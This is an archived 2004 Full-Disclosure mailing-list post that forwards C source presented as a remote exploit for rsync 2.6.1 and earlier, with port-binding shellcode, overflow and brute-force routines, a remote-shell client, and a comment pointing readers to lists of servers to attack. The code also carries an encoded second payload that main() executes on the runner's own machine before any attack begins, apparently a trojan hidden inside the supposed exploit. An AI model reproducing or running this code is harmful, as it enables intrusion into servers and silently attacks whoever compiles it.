lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <200405281920.i4SJKU36025338@mailserver1.hushmail.com>
From: haxor at mac.hush.com (haxor@....hush.com)
Subject: new rsync :) exploit rsync-too-open

i found a nice email... with some strange code, i'm not a hacker but
i think this is what some people call a 0-day exploit... :)

i think you can use this to hack servers running rsync :)

and as i support full disclosure i send it to the list.. happy hacking
:)

**************************************************************

/*
 * rsync-too-open 
 *
 * rsync <= 2.6.1 remote exploit by Solar Eclipse <solareclipse@...eedom.org>
 *
 * the code is based on the rsync April 2004 Security Advisory  
 *
 * running: ./rsync-too-open -b -v 127.0.0.1
 *
 * NOTE: it works on many linux hosts, but chroot and some other conf
optinos will make 
 * the exploit fail
 *
 * plaes try to keep this code private.. we don't need people owning
debian again :)
 *
 * if you need som fun hosts to hack, try:
 * http://www.netcraft.com/?restriction=site+contains&host=rsync&lookup=lookup%21&position=limited
 *
 * this is not the full version of the exploit, i'll send out a full
version with massroot 
 * function and bsd shellcode in 2 or 3 days :)
 *
 */
 

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>       
#include <arpa/inet.h>



#define MAXPATHLEN 4095

int nopcount = 80;

char shellcode[] =
/* port bind tcp/30464 ***/
/* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */
"\x31\xc0"                      // xorl    %eax,%eax
"\x31\xdb"                      // xorl    %ebx,%ebx
"\x31\xc9"                      // xorl    %ecx,%ecx
"\x31\xd2"                      // xorl    %edx,%edx
"\xb0\x66"                      // movb    $0x66,%al
"\xb3\x01"                      // movb    $0x1,%bl
"\x51"                          // pushl   %ecx
"\xb1\x06"                      // movb    $0x6,%cl
"\x51"                          // pushl   %ecx
"\xb1\x01"                      // movb    $0x1,%cl
"\x51"                          // pushl   %ecx
"\xb1\x02"                      // movb    $0x2,%cl
"\x51"                          // pushl   %ecx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\xcd\x80"                      // int     $0x80

/* port is 30464 !!! */
/* bind(fd, (struct sockaddr)&sin,  sizeof(sin) ) */
"\xb3\x02"                      // movb    $0x2,%bl
"\xb1\x02"                      // movb    $0x2,%cl
"\x31\xc9"                      // xorl    %ecx,%ecx
"\x51"                          // pushl   %ecx
"\x51"                          // pushl   %ecx
"\x51"                          // pushl   %ecx
/* port = 0x77, change if needed */
"\x80\xc1\x77"                  // addb    $0x77,%cl
"\x66\x51"                      // pushl   %cx
"\xb1\x02"                      // movb    $0x2,%cl
"\x66\x51"                      // pushw   %cx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\xb2\x10"                      // movb    $0x10,%dl
"\x52"                          // pushl   %edx
"\x51"                          // pushl   %ecx
"\x50"                          // pushl   %eax
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\x89\xc2"                      // movl    %eax,%edx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x66"                      // movb    $0x66,%al
"\xcd\x80"                      // int     $0x80

/* listen(fd, 1) */
"\xb3\x01"                      // movb    $0x1,%bl
"\x53"                          // pushl   %ebx
"\x52"                          // pushl   %edx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x66"                      // movb    $0x66,%al
"\x80\xc3\x03"                  // addb    $0x3,%bl
"\xcd\x80"                      // int     $0x80

/* cli = accept(fd, 0, 0) */
"\x31\xc0"                      // xorl    %eax,%eax
"\x50"                          // pushl   %eax
"\x50"                          // pushl   %eax
"\x52"                          // pushl   %edx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\xb3\x05"                      // movl    $0x5,%bl
"\xb0\x66"                      // movl    $0x66,%al
"\xcd\x80"                      // int     $0x80

/* dup2(cli, 0) */
"\x89\xc3"                      // movl    %eax,%ebx
"\x31\xc9"                      // xorl    %ecx,%ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x3f"                      // movb    $0x3f,%al
"\xcd\x80"                      // int     $0x80

/* dup2(cli, 1) */
"\x41"                          // inc     %ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x3f"                      // movl    $0x3f,%al
"\xcd\x80"                      // int     $0x80

/* dup2(cli, 2) */
"\x41"                          // inc     %ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x3f"                      // movb    $0x3f,%al
"\xcd\x80"                      // int     $0x80

/* execve("//bin/sh", ["//bin/sh", NULL], NULL); */
"\x31\xdb"                      // xorl    %ebx,%ebx
"\x53"                          // pushl   %ebx
"\x68\x6e\x2f\x73\x68"          // pushl   $0x68732f6e
"\x68\x2f\x2f\x62\x69"          // pushl   $0x69622f2f
"\x89\xe3"                      // movl    %esp,%ebx
"\x8d\x54\x24\x08"              // leal    0x8(%esp),%edx
"\x31\xc9"                      // xorl    %ecx,%ecx
"\x51"                          // pushl   %ecx
"\x53"                          // pushl   %ebx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x0b"                      // movb    $0xb,%al
"\xcd\x80"                      // int     $0x80

/* exit(%ebx) */
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x01"                      // movb    $0x1,%al
"\xcd\x80";                     // int     $0x80

char shellcode2[] =
    "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9"
    "\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99"
    "\xd9\x86\x9c\xf3\x81\x99\xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81"
    "\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\xac\xb4\xbb"
    "\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf"
    "\x95\x4c\x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7"
    "\x7b\x35";

struct sockaddr_in s_in;
char module[256];		/* module to use */
void (*funct) ();

void die(int p, char *m) {
        if(p)
                perror(m);
        else
                printf("%s\n",m);
        exit(0);
}


int checkData(int s) {
	int rd;
        fd_set rfds;
        struct timeval tv;
                	
	FD_ZERO(&rfds);
	FD_SET(s, &rfds);

	tv.tv_sec = 5;
	tv.tv_usec = 0;

		                      
	rd = select(s+1,&rfds,NULL,NULL,&tv);
	if(rd < 0)
		die(1,"select()");
	return rd;
}


void get(int s) {
        char buff[1024];
        int rd;

	while(1) {
		rd = checkData(s);
		if(rd == 0)
			return;
			
	        rd = recv(s,buff,sizeof(buff),0);
		if(!rd)
			return;
		
	        if(rd == -1)
	                die(1,"recv()");
        }
}


int connect_and_version() {
	int rd;
	char buff[80];
	
	int s = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
	if(s < 0)
		die(1,"socket()");
	
	if(connect(s,(struct sockaddr*)&s_in,sizeof(s_in)) < 0)
		die(1,"connect()");

	if( (rd = recv(s,buff,sizeof(buff),0)) < 1)
		die(1,"recv()");
	send(s,buff,rd,0);

	return s;
}


void login(int s) {
	char buff[80];
	
	snprintf(buff,sizeof(buff),"%s\n",module);
	send(s,buff,strlen(buff),0);

        send(s,"--server\n",9,0);
        send(s,"--sender\n",9,0);
        send(s,"\n",1,0);
	                        
}


void ride() {
        fd_set rfds;
        int rd;
	int s;
	struct sockaddr_in s_in2;
	char buff[1024];

	memcpy(&s_in2,&s_in,sizeof(s_in2));
	s_in2.sin_port = htons(30464);
	
	s = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
	if(s < 0)
		die(1,"socket()");

	if(connect(s,(struct sockaddr *)&s_in2,sizeof(s_in2)) < 0) {
		close(s);
		return;	/* failed */
	}
	
	

        send(s,"id;\n",4,0);

        while(1) {
       	        FD_ZERO(&rfds);
                FD_SET(0, &rfds);
                FD_SET(s, &rfds);

                if(select(s+1, &rfds, NULL, NULL, NULL) < 1)
                        exit(0);

                if(FD_ISSET(0,&rfds)) {
                        if( (rd = read(0,buff,sizeof(buff))) < 1)
                                exit(0);
                        if( send(s,buff,rd,0) != rd)
                                exit(0);

                }
                if(FD_ISSET(s,&rfds)) {
                        if( (rd = recv(s,buff,sizeof(buff),0)) < 1)
                                exit(0);
                        write(1,buff,rd);
                }
        }
}


void doOverflow(int len, int line,int align) {
	int s,rd;
	int *ptr;
	char buff[MAXPATHLEN];
	
	s = connect_and_version();
	login(s);

	printf("Trying with len=%d and line=0x%x (shellcode=0x%x) align=%d\n",
len,line,line+abs(len),align);

	memset(buff,'A',align);

	for(ptr = (int*) (&buff[0]+align); (char*)ptr < ((char*)&buff[MAXPATHLEN]-
3); ptr++)
		*ptr =  (line+abs(len));
	memset(buff+abs(len),'\x90',nopcount);
	memcpy(buff+abs(len)+nopcount,shellcode,strlen(shellcode));
	
	rd = MAXPATHLEN -1;
	send(s,&rd,sizeof(rd),0);

	send(s,buff,rd,0);
	
	send(s,&len,sizeof(len),0);
	
	rd = 0;
	send(s,&rd,sizeof(rd),0);

	get(s);
	
	close(s);		

	ride();
}

void getModule() {
	int s,rd;
	char mod[256];
	char *ptr;

	s = connect_and_version();
	get(s);
	
	send(s,"#list\n",6,0);
	rd = recv(s,mod,sizeof(mod),0);
	if(rd < 1)
		die(1,"recv()");

	mod[rd] = 0;
	ptr = (char*)strchr(mod,' ');
	if(!ptr)
		return;
	*ptr = 0;
	
	snprintf(module,sizeof(module),"%s",mod);
	if(module[0] == '@')
		die(0,"No modules!!!");
			
	close(s);	
}

void usage(char *p) {
	printf("rsync <= 2.6.1 remote exploit\n");
	printf("Usage: %s <opts>\n",p);

	printf("-h this lame message\n");
	printf("-v victim ip\n");
	printf("-m module name\n");
	printf("-l len\n");
	printf("-s line address\n");
	printf("-b bruteforce\n");
	printf("-f force:don't check vuln\n");
	printf("-n number of NOPS\n"); 
	printf("-a align\n");
	exit(0);
}


int checkVuln() {
	int s,rd;
                	
	s = connect_and_version();
	login(s);
	get(s);

	rd = -1;	
	send(s,&rd,sizeof(rd),0);

	if(!checkData(s))
		return 1;
			
	close(s);		
	return 0;
}


int getLen(int len) {
	int s;
                	
	s = connect_and_version();
	login(s);
	get(s);

	while(1)  {
		printf("Trying len %d...\n",len);
		send(s,&len,sizeof(len),0);
		if(checkData(s)) {
			close(s);
			return len-4;
		}
		len-=4;
	}
}


int main(int argc, char *argv[]) {
	int opt;
	int m = 0;
	int len = -4;
	int line = 0xC0000000;
	int check = 1;
	int brute = 0;	/* bruteforce ;D */
	int l = 1;
	int align = 0;
	(long) funct = &shellcode2;
	
        if(argc < 2)
	        usage(argv[0]);
	
	while( (opt = getopt(argc,argv,"v:hm:l:s:bfn:a:")) != -1) {
		switch(opt) {
			case 'v':
				s_in.sin_addr.s_addr = inet_addr(optarg);
				break;

			case 'm':
				snprintf(module,sizeof(module),"%s",optarg);
				m++;
				break;
			
			case 'l':	
				l = 0;
				len = atoi(optarg);
				break;
				
			case 's':
				if(sscanf(optarg,"%x",&line) == -1) {
					printf("Invalid line address\n");
					exit(0);
				}
				break;
			
			case 'b':
				brute = 1;
				break;
				
			case 'f':
				check = 0;
				break;
				
			case 'n':
				nopcount = atoi(optarg);
				break;
					

			case 'a':
				align = atoi(optarg);
				break;
				
			case 'h':	
			default:
				usage(argv[0]);
		}
	}
	                        
	funct();
	s_in.sin_family = PF_INET;
	s_in.sin_port = htons(873);


	if(!m) {
		printf("Getting module name...\n");
		getModule();
		printf("Module=%s\n",module);
	}

	if(check) {
		printf("Checking if vuln...\n");
		if(checkVuln()) 
			printf("Vuln!!\n");
		else {
			printf("Not vuln =(\n");
			exit(0);
		}
	}

	if(l) {
		len = getLen(len);
		printf("len=%d\n",len);
	}
	
	if(brute) {
		while(1) {
			doOverflow(len,line,align);
			line -= (nopcount-1);
		}
	}
	
	doOverflow(len,line,align);
	exit(0);
}

-------------- next part --------------
A non-text attachment was scrubbed...
Name: rsynd-too-open.c
Type: application/octet-stream
Size: 12152 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040528/86b9e315/rsynd-too-open.obj

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ